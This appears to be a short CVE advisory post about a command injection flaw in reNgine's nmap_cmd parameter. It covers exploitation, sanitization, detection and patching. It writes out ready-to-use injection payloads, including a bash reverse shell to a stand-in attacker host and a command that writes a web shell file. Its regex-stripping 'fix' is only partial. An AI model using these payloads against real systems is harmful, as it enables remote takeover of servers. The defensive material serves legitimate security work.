Listen to this Post
How CVE-2025-24962 Works
CVE-2025-24962 is a critical command injection vulnerability in reNgine, an automated reconnaissance framework. The flaw exists in the `nmap_cmd` parameter, where insufficient input validation allows attackers to inject arbitrary OS commands. When user-supplied data is passed to system commands without proper sanitization, malicious actors can append or modify commands executed on the host system. This leads to remote code execution (RCE) under the context of the web server, potentially compromising the entire server. The vulnerability stems from improper neutralization of special elements in the nmap module, enabling attackers to chain commands via shell metacharacters (e.g., ;, &, |).
DailyCVE Form:
Platform: reNgine
Version: <2.5.0
Vulnerability: Command Injection
Severity: Critical
Date: 2025-02-03
What Undercode Say:
Exploitation:
- Command Chaining: Use `;` or `&&` to append malicious commands:
nmap_cmd=127.0.0.1;id
2. Reverse Shell: Inject a reverse shell payload:
nmap_cmd=127.0.0.1;bash -i >& /dev/tcp/attacker.com/4444 0>&1
3. File Write: Exploit to write files:
nmap_cmd=127.0.0.1;echo 'malicious' > /var/www/html/shell.php
Protection:
1. Input Sanitization: Strip metacharacters:
import re safe_input = re.sub(r"[;&|]", "", user_input)
2. Parameterization: Use subprocess safely:
import subprocess subprocess.run(["nmap", user_input], shell=False)
3. Patch: Upgrade to reNgine ≥2.5.0.
Detection:
1. Log Analysis: Monitor for unusual commands:
grep -E "[;&|]" /var/log/rengine/access.log
2. IDS Rules: Snort rule for detection:
alert tcp any any -> $HTTP_SERVERS 80 (msg:"reNgine CMD Injection"; content:"nmap_cmd="; pcre:"/[;&|]/"; sid:1000001;)
Mitigation:
- WAF Rules: Block requests containing metacharacters.
- Least Privilege: Run reNgine as a low-privilege user.
- Network Segmentation: Isolate reNgine instances.
References:
- GitHub Commit: `c28e5c8d`
– CWE-78: OS Command Injection - CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
